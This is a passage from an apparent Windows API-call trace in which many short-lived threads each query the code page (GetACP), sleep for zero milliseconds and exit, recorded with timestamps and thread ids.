GetACP () returned 0x4e4 [0232.792] Sleep (dwMilliseconds=0x0) [0233.205] RtlExitUserThread (Status=0x0) Thread: id = 2025 os_tid = 0x1e18 [0232.794] GetACP () returned 0x4e4 [0232.794] GetACP () returned 0x4e4 [0232.794] Sleep (dwMilliseconds=0x0) [0233.207] RtlExitUserThread (Status=0x0) Thread: id = 2026 os_tid = 0x1e1c [0232.795] GetACP () returned 0x4e4 [0232.795] GetACP () returned 0x4e4 [0232.795] Sleep (dwMilliseconds=0x0) [0233.208] RtlExitUserThread (Status=0x0) Thread: id = 2027 os_tid = 0x1e20 [0232.795] GetACP () returned 0x4e4 [0232.795] GetACP () returned 0x4e4 [0232.795] Sleep (dwMilliseconds=0x0) [0233.208] RtlExitUserThread (Status=0x0) Thread: id = 2028 os_tid = 0x1e24 [0232.797] GetACP () returned 0x4e4 [0232.797] GetACP () returned 0x4e4 [0232.797] Sleep (dwMilliseconds=0x0) [0233.209] RtlExitUserThread (Status=0x0) Thread: id = 2029 os_tid = 0x1e28 [0232.797] GetACP () returned 0x4e4 [0232.797] GetACP () returned 0x4e4 [0232.798] Sleep (dwMilliseconds=0x0) [0233.210] RtlExitUserThread (Status=0x0) Thread: id = 2030 os_tid = 0x1e2c [0232.798] GetACP () returned 0x4e4 [0232.798] GetACP () returned 0x4e4 [0232.798] Sleep (dwMilliseconds=0x0) [0233.210] RtlExitUserThread (Status=0x0) Thread: id = 2031 os_tid = 0x1e30 [0232.799] GetACP () returned 0x4e4 [0232.799] GetACP () returned 0x4e4 [0232.799] Sleep (dwMilliseconds=0x0) [0233.211] RtlExitUserThread (Status=0x0) Thread: id = 2032 os_tid = 0x1e34 [0232.800] GetACP () returned 0x4e4 [0232.800] GetACP () returned 0x4e4 [0232.800] Sleep (dwMilliseconds=0x0) [0233.212] RtlExitUserThread (Status=0x0) Thread: id = 2033 os_tid = 0x1e38 [0232.800] GetACP () returned 0x4e4 [0232.800] GetACP () returned 0x4e4 [0232.800] Sleep (dwMilliseconds=0x0) [0233.212] RtlExitUserThread (Status=0x0) Thread: id = 2034 os_tid = 0x1e3c [0232.801] GetACP () returned 0x4e4 [0232.801] GetACP () returned 0x4e4 [0232.801] Sleep (dwMilliseconds=0x0) [0233.213] RtlExitUserThread (Status=0x0) Thread: id = 2035 os_tid = 0x1e40 [0232.801] GetACP () returned 0x4e4 [0232.802] GetACP () returned 0x4e4 [0232.802] Sleep (dwMilliseconds=0x0) [0233.214] RtlExitUserThread (Status=0x0) Thread: id = 2036 os_tid = 0x1e44 [0232.802] GetACP () returned 0x4e4 [0232.802] GetACP () returned 0x4e4 [0232.802] Sleep (dwMilliseconds=0x0) [0233.215] RtlExitUserThread (Status=0x0) Thread: id = 2057 os_tid = 0x1e98 [0233.217] GetACP () returned 0x4e4 [0233.217] GetACP () returned 0x4e4 [0233.217] Sleep (dwMilliseconds=0x0) [0233.388] RtlExitUserThread (Status=0x0) Thread: id = 2058 os_tid = 0x1e9c [0233.217] GetACP () returned 0x4e4 [0233.217] GetACP () returned 0x4e4 [0233.217] Sleep (dwMilliseconds=0x0) [0233.389] RtlExitUserThread (Status=0x0) Thread: id = 2059 os_tid = 0x1ea0 [0233.218] GetACP () returned 0x4e4 [0233.218] GetACP () returned 0x4e4 [0233.218] Sleep (dwMilliseconds=0x0) [0233.390] RtlExitUserThread (Status=0x0) Thread: id = 2060 os_tid = 0x1ea4 [0233.218] GetACP () returned 0x4e4 [0233.218] GetACP () returned 0x4e4 [0233.218] Sleep (dwMilliseconds=0x0) [0233.391] RtlExitUserThread (Status=0x0) Thread: id = 2061 os_tid = 0x1ea8 [0233.219] GetACP () returned 0x4e4 [0233.219] GetACP () returned 0x4e4 [0233.219] Sleep (dwMilliseconds=0x0) [0233.392] RtlExitUserThread (Status=0x0) Thread: id = 2062 os_tid = 0x1eac [0233.219] GetACP () returned 0x4e4 [0233.219] GetACP () returned 0x4e4 [0233.219] Sleep (dwMilliseconds=0x0) [0233.393] RtlExitUserThread (Status=0x0) Thread: id = 2063 os_tid = 0x1eb0 [0233.220] GetACP () returned 0x4e4 [0233.220] GetACP () returned 0x4e4 [0233.220] Sleep (dwMilliseconds=0x0) [0233.393] RtlExitUserThread (Status=0x0) Thread: id = 2064 os_tid = 0x1eb4 [0233.220] GetACP () returned 0x4e4 [0233.220] GetACP () returned 0x4e4 [0233.220] Sleep (dwMilliseconds=0x0) [0233.395] RtlExitUserThread (Status=0x0) Thread: id = 2065 os_tid = 0x1eb8 [0233.221] GetACP () returned 0x4e4 [0233.221] GetACP () returned 0x4e4 [0233.221] Sleep (dwMilliseconds=0x0) [0233.396] RtlExitUserThread (Status=0x0) Thread: id = 2066 os_tid = 0x1ebc [0233.221] GetACP () returned 0x4e4 [0233.221] GetACP () returned 0x4e4 [0233.221] Sleep (dwMilliseconds=0x0) [0233.397] RtlExitUserThread (Status=0x0) Thread: id = 2067 os_tid = 0x1ec0 [0233.222] GetACP () returned 0x4e4 [0233.222] GetACP () returned 0x4e4 [0233.222] Sleep (dwMilliseconds=0x0) [0233.398] RtlExitUserThread (Status=0x0) Thread: id = 2068 os_tid = 0x1ec4 [0233.222] GetACP () returned 0x4e4 [0233.222] GetACP () returned 0x4e4 [0233.223] Sleep (dwMilliseconds=0x0) [0233.399] RtlExitUserThread (Status=0x0) Thread: id = 2069 os_tid = 0x1ec8 [0233.223] GetACP () returned 0x4e4 [0233.223] GetACP () returned 0x4e4 [0233.223] Sleep (dwMilliseconds=0x0) [0233.400] RtlExitUserThread (Status=0x0) Thread: id = 2070 os_tid = 0x1ecc [0233.224] GetACP () returned 0x4e4 [0233.224] GetACP () returned 0x4e4 [0233.224] Sleep (dwMilliseconds=0x0) [0233.400] RtlExitUserThread (Status=0x0) Thread: id = 2071 os_tid = 0x1ed0 [0233.225] GetACP () returned 0x4e4 [0233.225] GetACP () returned 0x4e4 [0233.225] Sleep (dwMilliseconds=0x0) [0233.401] RtlExitUserThread (Status=0x0) Thread: id = 2072 os_tid = 0x1ed4 [0233.225] GetACP () returned 0x4e4 [0233.225] GetACP () returned 0x4e4 [0233.225] Sleep (dwMilliseconds=0x0) [0233.402] RtlExitUserThread (Status=0x0) Thread: id = 2073 os_tid = 0x1ed8 [0233.226] GetACP () returned 0x4e4 [0233.226] GetACP () returned 0x4e4 [0233.226] Sleep (dwMilliseconds=0x0) [0233.403] RtlExitUserThread (Status=0x0) Thread: id = 2074 os_tid = 0x1edc [0233.227] GetACP () returned 0x4e4 [0233.227] GetACP () returned 0x4e4 [0233.227] Sleep (dwMilliseconds=0x0) [0233.404] RtlExitUserThread (Status=0x0) Thread: id = 2075 os_tid = 0x1ee0 [0233.227] GetACP () returned 0x4e4 [0233.227] GetACP () returned 0x4e4 [0233.227] Sleep (dwMilliseconds=0x0) [0233.409] RtlExitUserThread (Status=0x0) Thread: id = 2076 os_tid = 0x1ee4 [0233.228] GetACP () returned 0x4e4 [0233.228] GetACP () returned 0x4e4 [0233.228] Sleep (dwMilliseconds=0x0) [0233.410] RtlExitUserThread (Status=0x0) Thread: id = 2097 os_tid = 0x1f38 [0233.412] GetACP () returned 0x4e4 [0233.412] GetACP () returned 0x4e4 [0233.412] Sleep (dwMilliseconds=0x0) [0233.616] RtlExitUserThread (Status=0x0) Thread: id = 2098 os_tid = 0x1f3c [0233.413] GetACP () returned 0x4e4 [0233.413] GetACP () returned 0x4e4 [0233.413] Sleep (dwMilliseconds=0x0) [0233.618] RtlExitUserThread (Status=0x0) Thread: id = 2099 os_tid = 0x1f40 [0233.414] GetACP () returned 0x4e4 [0233.414] GetACP () returned 0x4e4 [0233.414] Sleep (dwMilliseconds=0x0) [0233.619] RtlExitUserThread (Status=0x0) Thread: id = 2100 os_tid = 0x1f44 [0233.415] GetACP () returned 0x4e4 [0233.415] GetACP () returned 0x4e4 [0233.415] Sleep (dwMilliseconds=0x0) [0233.620] RtlExitUserThread (Status=0x0) Thread: id = 2101 os_tid = 0x1f48 [0233.416] GetACP () returned 0x4e4 [0233.416] GetACP () returned 0x4e4 [0233.416] Sleep (dwMilliseconds=0x0) [0233.621] RtlExitUserThread (Status=0x0) Thread: id = 2102 os_tid = 0x1f4c [0233.416] GetACP () returned 0x4e4 [0233.416] GetACP () returned 0x4e4 [0233.416] Sleep (dwMilliseconds=0x0) [0233.622] RtlExitUserThread (Status=0x0) Thread: id = 2103 os_tid = 0x1f50 [0233.417] GetACP () returned 0x4e4 [0233.417] GetACP () returned 0x4e4 [0233.417] Sleep (dwMilliseconds=0x0) [0233.622] RtlExitUserThread (Status=0x0) Thread: id = 2104 os_tid = 0x1f54 [0233.418] GetACP () returned 0x4e4 [0233.418] GetACP () returned 0x4e4 [0233.418] Sleep (dwMilliseconds=0x0) [0233.623] RtlExitUserThread (Status=0x0) Thread: id = 2105 os_tid = 0x1f58 [0233.418] GetACP () returned 0x4e4 [0233.418] GetACP () returned 0x4e4 [0233.418] Sleep (dwMilliseconds=0x0) [0233.624] RtlExitUserThread (Status=0x0) Thread: id = 2106 os_tid = 0x1f5c [0233.419] GetACP () returned 0x4e4 [0233.419] GetACP () returned 0x4e4 [0233.419] Sleep (dwMilliseconds=0x0) [0233.625] RtlExitUserThread (Status=0x0) Thread: id = 2107 os_tid = 0x1f60 [0233.420] GetACP () returned 0x4e4 [0233.420] GetACP () returned 0x4e4 [0233.420] Sleep (dwMilliseconds=0x0) [0233.626] RtlExitUserThread (Status=0x0) Thread: id = 2108 os_tid = 0x1f64 [0233.420] GetACP () returned 0x4e4 [0233.420] GetACP () returned 0x4e4 [0233.420] Sleep (dwMilliseconds=0x0) [0233.627] RtlExitUserThread (Status=0x0) Thread: id = 2109 os_tid = 0x1f68 [0233.421] GetACP () returned 0x4e4 [0233.421] GetACP () returned 0x4e4 [0233.421] Sleep (dwMilliseconds=0x0) [0233.628] RtlExitUserThread (Status=0x0) Thread: id = 2110 os_tid = 0x1f6c [0233.422] GetACP () returned 0x4e4 [0233.422] GetACP () returned 0x4e4 [0233.422] Sleep (dwMilliseconds=0x0) [0233.629] RtlExitUserThread (Status=0x0) Thread: id = 2111 os_tid = 0x1f70 [0233.422] GetACP () returned 0x4e4 [0233.422] GetACP () returned 0x4e4 [0233.423] Sleep (dwMilliseconds=0x0) [0233.630] RtlExitUserThread (Status=0x0) Thread: id = 2112 os_tid = 0x1f74 [0233.423] GetACP () returned 0x4e4 [0233.423] GetACP () returned 0x4e4 [0233.423] Sleep (dwMilliseconds=0x0) [0233.631] RtlExitUserThread (Status=0x0) Thread: id = 2113 os_tid = 0x1f78 [0233.424] GetACP () returned 0x4e4 [0233.424] GetACP () returned 0x4e4 [0233.424] Sleep (dwMilliseconds=0x0) [0233.631] RtlExitUserThread (Status=0x0) Thread: id = 2114 os_tid = 0x1f7c [0233.425] GetACP () returned 0x4e4 [0233.425] GetACP () returned 0x4e4 [0233.425] Sleep (dwMilliseconds=0x0) [0233.632] RtlExitUserThread (Status=0x0) Thread: id = 2115 os_tid = 0x1f80 [0233.426] GetACP () returned 0x4e4 [0233.426] GetACP () returned 0x4e4 [0233.426] Sleep (dwMilliseconds=0x0) [0233.633] RtlExitUserThread (Status=0x0) Thread: id = 2116 os_tid = 0x1f84 [0233.426] GetACP () returned 0x4e4 [0233.427] GetACP () returned 0x4e4 [0233.427] Sleep (dwMilliseconds=0x0) [0233.634] RtlExitUserThread (Status=0x0) Thread: id = 2137 os_tid = 0x1fd8 [0233.635] GetACP () returned 0x4e4 [0233.635] GetACP () returned 0x4e4 [0233.635] Sleep (dwMilliseconds=0x0) [0233.793] RtlExitUserThread (Status=0x0) Thread: id = 2138 os_tid = 0x1fdc [0233.635] GetACP () returned 0x4e4 [0233.635] GetACP () returned 0x4e4 [0233.635] Sleep (dwMilliseconds=0x0) [0233.794] RtlExitUserThread (Status=0x0) Thread: id = 2139 os_tid = 0x1fe0 [0233.636] GetACP () returned 0x4e4 [0233.636] GetACP () returned 0x4e4 [0233.636] Sleep (dwMilliseconds=0x0) [0233.795] RtlExitUserThread (Status=0x0) Thread: id = 2140 os_tid = 0x1fe4 [0233.637] GetACP () returned 0x4e4 [0233.637] GetACP () returned 0x4e4 [0233.637] Sleep (dwMilliseconds=0x0) [0233.795] RtlExitUserThread (Status=0x0) Thread: id = 2141 os_tid = 0x1fe8 [0233.638] GetACP () returned 0x4e4 [0233.638] GetACP () returned 0x4e4 [0233.638] Sleep (dwMilliseconds=0x0) [0233.796] RtlExitUserThread (Status=0x0) Thread: id = 2142 os_tid = 0x1fec [0233.638] GetACP () returned 0x4e4 [0233.638] GetACP () returned 0x4e4 [0233.639] Sleep (dwMilliseconds=0x0) [0233.798] RtlExitUserThread (Status=0x0) Thread: id = 2143 os_tid = 0x1ff0 [0233.639] GetACP () returned 0x4e4 [0233.639] GetACP () returned 0x4e4 [0233.639] Sleep (dwMilliseconds=0x0) [0233.799] RtlExitUserThread (Status=0x0) Thread: id = 2144 os_tid = 0x1ff4 [0233.639] GetACP () returned 0x4e4 [0233.639] GetACP () returned 0x4e4 [0233.639] Sleep (dwMilliseconds=0x0) [0233.800] RtlExitUserThread (Status=0x0) Thread: id = 2145 os_tid = 0x1ff8 [0233.640] GetACP () returned 0x4e4 [0233.640] GetACP () returned 0x4e4 [0233.640] Sleep (dwMilliseconds=0x0) [0233.801] RtlExitUserThread (Status=0x0) Thread: id = 2146 os_tid = 0x1ffc [0233.640] GetACP () returned 0x4e4 [0233.640] GetACP () returned 0x4e4 [0233.640] Sleep (dwMilliseconds=0x0) [0233.801] RtlExitUserThread (Status=0x0) Thread: id = 2147 os_tid = 0x2e0 [0233.641] GetACP () returned 0x4e4 [0233.641] GetACP () returned 0x4e4 [0233.641] Sleep (dwMilliseconds=0x0) [0233.802] RtlExitUserThread (Status=0x0) Thread: id = 2148 os_tid = 0x2004 [0233.641] GetACP () returned 0x4e4 [0233.641] GetACP () returned 0x4e4 [0233.641] Sleep (dwMilliseconds=0x0) [0233.803] RtlExitUserThread (Status=0x0) Thread: id = 2149 os_tid = 0x2008 [0233.641] GetACP () returned 0x4e4 [0233.642] GetACP () returned 0x4e4 [0233.642] Sleep (dwMilliseconds=0x0) [0233.804] RtlExitUserThread (Status=0x0) Thread: id = 2150 os_tid = 0x200c [0233.642] GetACP () returned 0x4e4 [0233.642] GetACP () returned 0x4e4 [0233.642] Sleep (dwMilliseconds=0x0) [0233.805] RtlExitUserThread (Status=0x0) Thread: id = 2151 os_tid = 0x2010 [0233.643] GetACP () returned 0x4e4 [0233.643] GetACP () returned 0x4e4 [0233.643] Sleep (dwMilliseconds=0x0) [0233.806] RtlExitUserThread (Status=0x0) Thread: id = 2152 os_tid = 0x2014 [0233.643] GetACP () returned 0x4e4 [0233.643] GetACP () returned 0x4e4 [0233.643] Sleep (dwMilliseconds=0x0) [0233.807] RtlExitUserThread (Status=0x0) Thread: id = 2153 os_tid = 0x2018 [0233.644] GetACP () returned 0x4e4 [0233.644] GetACP () returned 0x4e4 [0233.644] Sleep (dwMilliseconds=0x0) [0233.808] RtlExitUserThread (Status=0x0) Thread: id = 2154 os_tid = 0x201c [0233.644] GetACP () returned 0x4e4 [0233.644] GetACP () returned 0x4e4 [0233.645] Sleep (dwMilliseconds=0x0) [0233.809] RtlExitUserThread (Status=0x0) Thread: id = 2155 os_tid = 0x2020 [0233.645] GetACP () returned 0x4e4 [0233.645] GetACP () returned 0x4e4 [0233.645] Sleep (dwMilliseconds=0x0) [0233.810] RtlExitUserThread (Status=0x0) Thread: id = 2156 os_tid = 0x2024 [0233.646] GetACP () returned 0x4e4 [0233.646] GetACP () returned 0x4e4 [0233.646] Sleep (dwMilliseconds=0x0) [0233.811] RtlExitUserThread (Status=0x0) Thread: id = 2177 os_tid = 0x2078 [0233.812] GetACP () returned 0x4e4 [0233.812] GetACP () returned 0x4e4 [0233.812] Sleep (dwMilliseconds=0x0) [0233.988] RtlExitUserThread (Status=0x0) Thread: id = 2178 os_tid = 0x207c [0233.813] GetACP () returned 0x4e4 [0233.813] GetACP () returned 0x4e4 [0233.813] Sleep (dwMilliseconds=0x0) [0233.988] RtlExitUserThread (Status=0x0) Thread: id = 2179 os_tid = 0x2080 [0233.813] GetACP () returned 0x4e4 [0233.813] GetACP () returned 0x4e4 [0233.813] Sleep (dwMilliseconds=0x0) [0233.990] RtlExitUserThread (Status=0x0) Thread: id = 2180 os_tid = 0x2084 [0233.814] GetACP () returned 0x4e4 [0233.814] GetACP () returned 0x4e4 [0233.814] Sleep (dwMilliseconds=0x0) [0233.991] RtlExitUserThread (Status=0x0) Thread: id = 2181 os_tid = 0x2088 [0233.814] GetACP () returned 0x4e4 [0233.814] GetACP () returned 0x4e4 [0233.814] Sleep (dwMilliseconds=0x0) [0233.992] RtlExitUserThread (Status=0x0) Thread: id = 2182 os_tid = 0x208c [0233.815] GetACP () returned 0x4e4 [0233.815] GetACP () returned 0x4e4 [0233.815] Sleep (dwMilliseconds=0x0) [0233.993] RtlExitUserThread (Status=0x0) Thread: id = 2183 os_tid = 0x2090 [0233.816] GetACP () returned 0x4e4 [0233.816] GetACP () returned 0x4e4 [0233.816] Sleep (dwMilliseconds=0x0) [0233.993] RtlExitUserThread (Status=0x0) Thread: id = 2184 os_tid = 0x2094 [0233.816] GetACP () returned 0x4e4 [0233.816] GetACP () returned 0x4e4 [0233.816] Sleep (dwMilliseconds=0x0) [0233.994] RtlExitUserThread (Status=0x0) Thread: id = 2185 os_tid = 0x2098 [0233.817] GetACP () returned 0x4e4 [0233.817] GetACP () returned 0x4e4 [0233.817] Sleep (dwMilliseconds=0x0) [0233.995] RtlExitUserThread (Status=0x0) Thread: id = 2186 os_tid = 0x209c [0233.818] GetACP () returned 0x4e4 [0233.818] GetACP () returned 0x4e4 [0233.818] Sleep (dwMilliseconds=0x0) [0233.996] RtlExitUserThread (Status=0x0) Thread: id = 2187 os_tid = 0x20a0 [0233.819] GetACP () returned 0x4e4 [0233.819] GetACP () returned 0x4e4 [0233.819] Sleep (dwMilliseconds=0x0) [0233.997] RtlExitUserThread (Status=0x0) Thread: id = 2188 os_tid = 0x20a4 [0233.819] GetACP () returned 0x4e4 [0233.819] GetACP () returned 0x4e4 [0233.819] Sleep (dwMilliseconds=0x0) [0233.998] RtlExitUserThread (Status=0x0) Thread: id = 2189 os_tid = 0x20a8 [0233.820] GetACP () returned 0x4e4 [0233.820] GetACP () returned 0x4e4 [0233.820] Sleep (dwMilliseconds=0x0) [0233.998] RtlExitUserThread (Status=0x0) Thread: id = 2190 os_tid = 0x20ac [0233.821] GetACP () returned 0x4e4 [0233.821] GetACP () returned 0x4e4 [0233.821] Sleep (dwMilliseconds=0x0) [0234.000] RtlExitUserThread (Status=0x0) Thread: id = 2191 os_tid = 0x20b0 [0233.821] GetACP () returned 0x4e4 [0233.821] GetACP () returned 0x4e4 [0233.821] Sleep (dwMilliseconds=0x0) [0234.001] RtlExitUserThread (Status=0x0) Thread: id = 2192 os_tid = 0x20b4 [0233.821] GetACP () returned 0x4e4 [0233.821] GetACP () returned 0x4e4 [0233.821] Sleep (dwMilliseconds=0x0) [0234.002] RtlExitUserThread (Status=0x0) Thread: id = 2193 os_tid = 0x20b8 [0233.822] GetACP () returned 0x4e4 [0233.822] GetACP () returned 0x4e4 [0233.822] Sleep (dwMilliseconds=0x0) [0234.002] RtlExitUserThread (Status=0x0) Thread: id = 2194 os_tid = 0x20bc [0233.823] GetACP () returned 0x4e4 [0233.823] GetACP () returned 0x4e4 [0233.823] Sleep (dwMilliseconds=0x0) [0234.004] RtlExitUserThread (Status=0x0) Thread: id = 2195 os_tid = 0x20c0 [0233.823] GetACP () returned 0x4e4 [0233.823] GetACP () returned 0x4e4 [0233.823] Sleep (dwMilliseconds=0x0) [0234.005] RtlExitUserThread (Status=0x0) Thread: id = 2196 os_tid = 0x20c4 [0233.824] GetACP () returned 0x4e4 [0233.824] GetACP () returned 0x4e4 [0233.824] Sleep (dwMilliseconds=0x0) [0234.006] RtlExitUserThread (Status=0x0) Thread: id = 2217 os_tid = 0x2118 [0234.007] GetACP () returned 0x4e4 [0234.007] GetACP () returned 0x4e4 [0234.007] Sleep (dwMilliseconds=0x0) [0234.163] RtlExitUserThread (Status=0x0) Thread: id = 2218 os_tid = 0x211c [0234.008] GetACP () returned 0x4e4 [0234.008] GetACP () returned 0x4e4 [0234.008] Sleep (dwMilliseconds=0x0) [0234.164] RtlExitUserThread (Status=0x0) Thread: id = 2219 os_tid = 0x2120 [0234.009] GetACP () returned 0x4e4 [0234.009] GetACP () returned 0x4e4 [0234.009] Sleep (dwMilliseconds=0x0) [0234.165] RtlExitUserThread (Status=0x0) Thread: id = 2220 os_tid = 0x2124 [0234.009] GetACP () returned 0x4e4 [0234.009] GetACP () returned 0x4e4 [0234.009] Sleep (dwMilliseconds=0x0) [0234.166] RtlExitUserThread (Status=0x0) Thread: id = 2221 os_tid = 0x2128 [0234.010] GetACP () returned 0x4e4 [0234.010] GetACP () returned 0x4e4 [0234.010] Sleep (dwMilliseconds=0x0) [0234.167] RtlExitUserThread (Status=0x0) Thread: id = 2222 os_tid = 0x212c [0234.011] GetACP () returned 0x4e4 [0234.011] GetACP () returned 0x4e4 [0234.011] Sleep (dwMilliseconds=0x0) [0234.168] RtlExitUserThread (Status=0x0) Thread: id = 2223 os_tid = 0x2130 [0234.012] GetACP () returned 0x4e4 [0234.012] GetACP () returned 0x4e4 [0234.012] Sleep (dwMilliseconds=0x0) [0234.169] RtlExitUserThread (Status=0x0) Thread: id = 2224 os_tid = 0x2134 [0234.012] GetACP () returned 0x4e4 [0234.012] GetACP () returned 0x4e4 [0234.012] Sleep (dwMilliseconds=0x0) [0234.170] RtlExitUserThread (Status=0x0) Thread: id = 2225 os_tid = 0x2138 [0234.013] GetACP () returned 0x4e4 [0234.013] GetACP () returned 0x4e4 [0234.013] Sleep (dwMilliseconds=0x0) [0234.171] RtlExitUserThread (Status=0x0) Thread: id = 2226 os_tid = 0x213c [0234.013] GetACP () returned 0x4e4 [0234.013] GetACP () returned 0x4e4 [0234.013] Sleep (dwMilliseconds=0x0) [0234.171] RtlExitUserThread (Status=0x0) Thread: id = 2227 os_tid = 0x2140 [0234.014] GetACP () returned 0x4e4 [0234.014] GetACP () returned 0x4e4 [0234.014] Sleep (dwMilliseconds=0x0) [0234.172] RtlExitUserThread (Status=0x0) Thread: id = 2228 os_tid = 0x2144 [0234.015] GetACP () returned 0x4e4 [0234.015] GetACP () returned 0x4e4 [0234.015] Sleep (dwMilliseconds=0x0) [0234.174] RtlExitUserThread (Status=0x0) Thread: id = 2229 os_tid = 0x2148 [0234.015] GetACP () returned 0x4e4 [0234.015] GetACP () returned 0x4e4 [0234.015] Sleep (dwMilliseconds=0x0) [0234.175] RtlExitUserThread (Status=0x0) Thread: id = 2230 os_tid = 0x214c [0234.016] GetACP () returned 0x4e4 [0234.016] GetACP () returned 0x4e4 [0234.016] Sleep (dwMilliseconds=0x0) [0234.175] RtlExitUserThread (Status=0x0) Thread: id = 2231 os_tid = 0x2150 [0234.016] GetACP () returned 0x4e4 [0234.016] GetACP () returned 0x4e4 [0234.016] Sleep (dwMilliseconds=0x0) [0234.176] RtlExitUserThread (Status=0x0) Thread: id = 2232 os_tid = 0x2154 [0234.017] GetACP () returned 0x4e4 [0234.017] GetACP () returned 0x4e4 [0234.017] Sleep (dwMilliseconds=0x0) [0234.177] RtlExitUserThread (Status=0x0) Thread: id = 2233 os_tid = 0x2158 [0234.018] GetACP () returned 0x4e4 [0234.018] GetACP () returned 0x4e4 [0234.018] Sleep (dwMilliseconds=0x0) [0234.178] RtlExitUserThread (Status=0x0) Thread: id = 2234 os_tid = 0x215c [0234.018] GetACP () returned 0x4e4 [0234.018] GetACP () returned 0x4e4 [0234.018] Sleep (dwMilliseconds=0x0) [0234.179] RtlExitUserThread (Status=0x0) Thread: id = 2235 os_tid = 0x2160 [0234.019] GetACP () returned 0x4e4 [0234.019] GetACP () returned 0x4e4 [0234.019] Sleep (dwMilliseconds=0x0) [0234.180] RtlExitUserThread (Status=0x0) Thread: id = 2236 os_tid = 0x2164 [0234.020] GetACP () returned 0x4e4 [0234.020] GetACP () returned 0x4e4 [0234.020] Sleep (dwMilliseconds=0x0) [0234.181] RtlExitUserThread (Status=0x0) Thread: id = 2257 os_tid = 0x21b8 [0234.182] GetACP () returned 0x4e4 [0234.182] GetACP () returned 0x4e4 [0234.182] Sleep (dwMilliseconds=0x0) [0234.370] RtlExitUserThread (Status=0x0) Thread: id = 2258 os_tid = 0x21bc [0234.182] GetACP () returned 0x4e4 [0234.182] GetACP () returned 0x4e4 [0234.182] Sleep (dwMilliseconds=0x0) [0234.371] RtlExitUserThread (Status=0x0) Thread: id = 2259 os_tid = 0x21c0 [0234.184] GetACP () returned 0x4e4 [0234.184] GetACP () returned 0x4e4 [0234.184] Sleep (dwMilliseconds=0x0) [0234.372] RtlExitUserThread (Status=0x0) Thread: id = 2260 os_tid = 0x21c4 [0234.184] GetACP () returned 0x4e4 [0234.184] GetACP () returned 0x4e4 [0234.184] Sleep (dwMilliseconds=0x0) [0234.373] RtlExitUserThread (Status=0x0) Thread: id = 2261 os_tid = 0x21c8 [0234.185] GetACP () returned 0x4e4 [0234.185] GetACP () returned 0x4e4 [0234.185] Sleep (dwMilliseconds=0x0) [0234.374] RtlExitUserThread (Status=0x0) Thread: id = 2262 os_tid = 0x21cc [0234.185] GetACP () returned 0x4e4 [0234.185] GetACP () returned 0x4e4 [0234.185] Sleep (dwMilliseconds=0x0) [0234.376] RtlExitUserThread (Status=0x0) Thread: id = 2263 os_tid = 0x21d0 [0234.186] GetACP () returned 0x4e4 [0234.186] GetACP () returned 0x4e4 [0234.186] Sleep (dwMilliseconds=0x0) [0234.376] RtlExitUserThread (Status=0x0) Thread: id = 2264 os_tid = 0x21d4 [0234.186] GetACP () returned 0x4e4 [0234.186] GetACP () returned 0x4e4 [0234.186] Sleep (dwMilliseconds=0x0) [0234.377] RtlExitUserThread (Status=0x0) Thread: id = 2265 os_tid = 0x21d8 [0234.187] GetACP () returned 0x4e4 [0234.187] GetACP () returned 0x4e4 [0234.187] Sleep (dwMilliseconds=0x0) [0234.378] RtlExitUserThread (Status=0x0) Thread: id = 2266 os_tid = 0x21dc [0234.187] GetACP () returned 0x4e4 [0234.187] GetACP () returned 0x4e4 [0234.187] Sleep (dwMilliseconds=0x0) [0234.379] RtlExitUserThread (Status=0x0) Thread: id = 2267 os_tid = 0x21e0 [0234.188] GetACP () returned 0x4e4 [0234.188] GetACP () returned 0x4e4 [0234.188] Sleep (dwMilliseconds=0x0) [0234.380] RtlExitUserThread (Status=0x0) Thread: id = 2268 os_tid = 0x21e4 [0234.189] GetACP () returned 0x4e4 [0234.189] GetACP () returned 0x4e4 [0234.189] Sleep (dwMilliseconds=0x0) [0234.381] RtlExitUserThread (Status=0x0) Thread: id = 2269 os_tid = 0x21e8 [0234.189] GetACP () returned 0x4e4 [0234.189] GetACP () returned 0x4e4 [0234.189] Sleep (dwMilliseconds=0x0) [0234.381] RtlExitUserThread (Status=0x0) Thread: id = 2270 os_tid = 0x21ec [0234.190] GetACP () returned 0x4e4 [0234.190] GetACP () returned 0x4e4 [0234.190] Sleep (dwMilliseconds=0x0) [0234.382] RtlExitUserThread (Status=0x0) Thread: id = 2271 os_tid = 0x21f0 [0234.191] GetACP () returned 0x4e4 [0234.191] GetACP () returned 0x4e4 [0234.191] Sleep (dwMilliseconds=0x0) [0234.383] RtlExitUserThread (Status=0x0) Thread: id = 2272 os_tid = 0x21f4 [0234.191] GetACP () returned 0x4e4 [0234.191] GetACP () returned 0x4e4 [0234.191] Sleep (dwMilliseconds=0x0) [0234.384] RtlExitUserThread (Status=0x0) Thread: id = 2273 os_tid = 0x21f8 [0234.192] GetACP () returned 0x4e4 [0234.192] GetACP () returned 0x4e4 [0234.192] Sleep (dwMilliseconds=0x0) [0234.384] RtlExitUserThread (Status=0x0) Thread: id = 2274 os_tid = 0x21fc [0234.192] GetACP () returned 0x4e4 [0234.192] GetACP () returned 0x4e4 [0234.192] Sleep (dwMilliseconds=0x0) [0234.385] RtlExitUserThread (Status=0x0) Thread: id = 2275 os_tid = 0x2200 [0234.194] GetACP () returned 0x4e4 [0234.194] GetACP () returned 0x4e4 [0234.194] Sleep (dwMilliseconds=0x0) [0234.386] RtlExitUserThread (Status=0x0) Thread: id = 2276 os_tid = 0x2204 [0234.194] GetACP () returned 0x4e4 [0234.194] GetACP () returned 0x4e4 [0234.194] Sleep (dwMilliseconds=0x0) [0234.386] RtlExitUserThread (Status=0x0) Thread: id = 2297 os_tid = 0x2258 [0234.387] GetACP () returned 0x4e4 [0234.387] GetACP () returned 0x4e4 [0234.387] Sleep (dwMilliseconds=0x0) [0234.537] RtlExitUserThread (Status=0x0) Thread: id = 2298 os_tid = 0x225c [0234.388] GetACP () returned 0x4e4 [0234.388] GetACP () returned 0x4e4 [0234.388] Sleep (dwMilliseconds=0x0) [0234.538] RtlExitUserThread (Status=0x0) Thread: id = 2299 os_tid = 0x2260 [0234.388] GetACP () returned 0x4e4 [0234.388] GetACP () returned 0x4e4 [0234.388] Sleep (dwMilliseconds=0x0) [0234.539] RtlExitUserThread (Status=0x0) Thread: id = 2300 os_tid = 0x2264 [0234.389] GetACP () returned 0x4e4 [0234.389] GetACP () returned 0x4e4 [0234.389] Sleep (dwMilliseconds=0x0) [0234.540] RtlExitUserThread (Status=0x0) Thread: id = 2301 os_tid = 0x2268 [0234.390] GetACP () returned 0x4e4 [0234.390] GetACP () returned 0x4e4 [0234.390] Sleep (dwMilliseconds=0x0) [0234.541] RtlExitUserThread (Status=0x0) Thread: id = 2302 os_tid = 0x226c [0234.391] GetACP () returned 0x4e4 [0234.391] GetACP () 